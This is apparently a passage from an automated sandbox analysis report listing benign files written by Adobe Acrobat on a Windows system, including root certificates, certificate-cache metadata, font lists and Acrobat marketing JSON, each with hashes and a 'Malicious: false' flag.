Encrypted:	false
SSDEEP:	48:7MRp/E2ioyVY4ioy9oWoy1Cwoy1RbKOioy1noy1AYoy1Wioy1hioybioyLtoy1nN:7+pjuJFcXKQAWb9IVXEBodRBk/Q
MD5:	2EA495725E931E696961143F0567DB8A
SHA1:	C07D7E08099DA737AD9D647B22C9CEB56F6CB2D8
SHA-256:	95A3FA5662854B31C7E84B1E947539EDB634D0E1ECBC08C9E485CEC813E5FB3A
SHA-512:	179BB6FF3D0EFC1E80645D51E0FD62A7B2F1C802C8EECEDC361D5E6F08B7848E8DC4282E3D7209C622A04AEC2216D59CDFAA8789237E8BDEF58F80634F6F953E
Malicious:	false
Preview:	.... .c.....y,.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkls8sQltfllXlE/HT8kF7vNNX8RolJuRdxLlGB9lQRYwpDdt:kK1UeT8G7VNMa8RdWBwRd
MD5:	B6BB4835E9D7765A4E75157F06079E4B
SHA1:	816EB25D0801A90E72E2640E7E067B92086748C0
SHA-256:	8B461BB141BE2F689EE500F1D7550DE28477815B832A6BEF8D904FC139536175
SHA-512:	95E8AEB817D8ACC2A69CBFAD8764F38D56C4A923B90118FCBBDBE2C8B99CEE7B1E5E03475E413071E11846DBB2EF7E49414A28CCD6866CA9B0284D0DB28B4E67
Malicious:	false
Preview:	p...... ........_...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKVPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:9PiDnLNkPlE99SNxAhUe/3
MD5:	EB80970F8CE8268E4B8837597CF5CB31
SHA1:	E40059036DCAA9B8A81AD43DEDE4F8F409C835CC
SHA-256:	8DE79ACC21E0FC8A2089FA1F063975D9704255A88BC0C7FDD0A84CFC498FED7D
SHA-512:	6DDAA10F696E8017F481CF5119C632BF3CB6FBC8E6EDFC4A1A9162E04F4FF5CA6AAC2E051A702A7E5DD2FBAD928B2E9E57ECBE2F6E364705B6D176FA2DE4DD31
Malicious:	false
Preview:	p...... ...........c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8040

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8040

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.36626310392817
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSrRlNQpM7H9VoZcg1vRcR0YqCoAvJM3g98kUwPeUkwRe9:YvXKXBYRldLEZc0vZxGMbLUkee9
MD5:	5DC27627746135C79113F51AFB8F2A43
SHA1:	98B8D1E6AECDAF6DC816A7203066C3466698A34A
SHA-256:	DC21B7B5ECEC161AC0075DC4BAFCA22C4EA3FEF49D77EBADCD6754187AEEBC9F
SHA-512:	E45F76C2401041BCCBB4E01A766967D65A5448BA752D63005F698F23E33DB8C2D5B12C76B6066089B5C28175ACDEB4922CB15A3D4052E2ED2BE0003D36EBE5FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.316064760169017
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSrRlNQpM7H9VoZcg1vRcR0YqCoAvJfBoTfXpnrPeUkwRe9:YvXKXBYRldLEZc0vZxGWTfXcUkee9
MD5:	37ACC1DFDC2F97F5948AF3EE9766E005
SHA1:	562458C6D3AC2864DDAF544E3714C5FD8E3DA423
SHA-256:	A8EE9B6FA9777F2809D8446B7E1A4C1D6E6C233C8B1A24B494DB89E8FECDB896
SHA-512:	37137457FD727C64D2DF0857122A8615E0214672F43010F80DD7512892382B2598B4FB6845F1F285A77C5D7DA3555AD36B22884847D88BA826EEEE034DBC9BC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.294017360168377
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSrRlNQpM7H9VoZcg1vRcR0YqCoAvJfBD2G6UpnrPeUkwRe9:YvXKXBYRldLEZc0vZxGR22cUkee9
MD5:	F064DD1608DB672FC31417189FFAD684
SHA1:	B47D127739CCEE7343B3EC8D59694EDA2BAF5BEF
SHA-256:	87B1143D64A8F06613850C0E3A0CA6D70EC6C27F05C6CEB9D17B8B361F1A93D4
SHA-512:	8298480AC193515DA39AB150F4966BEBD3EA651FE6DCFDE30A3429A568651B29535ACF541EA9BB2A976F394CC4F183C3DF162EF56711E1581F301036C6937BA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3533753546009075
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSrRlNQpM7H9VoZcg1vRcR0YqCoAvJfPmwrPeUkwRe9:YvXKXBYRldLEZc0vZxGH56Ukee9
MD5:	77CDA97C8BE423BE4600AA98E302D336
SHA1:	35E221D55BDCCCAB7C986B837F6CC2C898161A2E
SHA-256:	672E0F09EEA4B9EC3AF5F8712D56EB9E0C1B808FD7E211F2034FCD4AF5BB7086
SHA-512:	3FDD132308EE6340B9859BD95E8BD1373B944748891941253D13410744E65676B741B9A01F317532F1E409451C155FDA0CBA1D2B75267D6536CEAC94B9143682
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692279891230621
Encrypted:	false
SSDEEP:	24:Yv6XB8WzvZ2pLgE9cQx8LennAvzBvkn0RCmK8czOCCSE:YvE8OB2hgy6SAFv5Ah8cv/E
MD5:	CA49E33A645516D38EC744772EA5B584
SHA1:	CF43E1A517CED0A7002AB7887D6D643A5B644C68
SHA-256:	080375792522756CF10E6E462E4689895C69FCD3B7B6924F34437D4813BC3B23
SHA-512:	0CB0E2D4F43457EA1DB6FB3D97539E4F93354648F8037787DF2FA7FB9F2D9C44AC4B553DC4C7C755958FC62DC83991182AE1421039127F55584CC2855F9102B3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301157623388185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSrRlNQpM7H9VoZcg1vRcR0YqCoAvJf8dPeUkwRe9:YvXKXBYRldLEZc0vZxGU8Ukee9
MD5:	9DAB341991E2D66CE5183A9BF500C7FA
SHA1:	106EB3C6428F183BE6801F906074D0843BC042A5
SHA-256:	C498D94AFC82B43FFA661D98A2E186199A4B596EAF124D74312B5ADC528F07FB
SHA-512:	790A29D6A34E92C4E7D91B33E277CF074804B2A8FA2C6E3E3E7B0B384E68BB72C0304CB9D259718E64DFC6C5835456325C8922022D4AD1F8932CB3B041401EF9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.305646162398373
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSrRlNQpM7H9VoZcg1vRcR0YqCoAvJfQ1rPeUkwRe9:YvXKXBYRldLEZc0vZxGY16Ukee9
MD5:	C2BC5FDFC5ADA15AD22B5B88F7683103
SHA1:	956E52A6920D96C517C8761DD6AF7BA4CBD140FA
SHA-256:	B4DF4EB55D8508B34E36E3468F676DA16365BDCA93A95040BD5130FFEAAF878B
SHA-512:	30C1F988EFF5E6C6A83D28EA5BDCB53A57E02300E6E600EF55059654AE956D3C1A1C8F0FB8E07C63CA5C6E0FB44E348BD2D72D06810D90E4B3D3F0FFE6793D6F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310460707445595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSrRlNQpM7H9VoZcg1vRcR0YqCoAvJfFldPeUkwRe9:YvXKXBYRldLEZc0vZxGz8Ukee9
MD5:	08C44181E2B85A74F8080B1AF3345982
SHA1:	FFF8DA9696C72985DEC8B7C2CE8C58E04D100577
SHA-256:	0FAFE02BFE1B4E94439ED8C2479F24C89BA2AB279B3F99B4D78E66F7E552F362
SHA-512:	84502F5125AD5D77DC1297F1A70AA50F7D6B76B54B742699C2BEFBA94C5707DEF629EA26A7FA6D47D454C322544831DD4BBC898D6BB2F554FEDD44174FDAF70B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
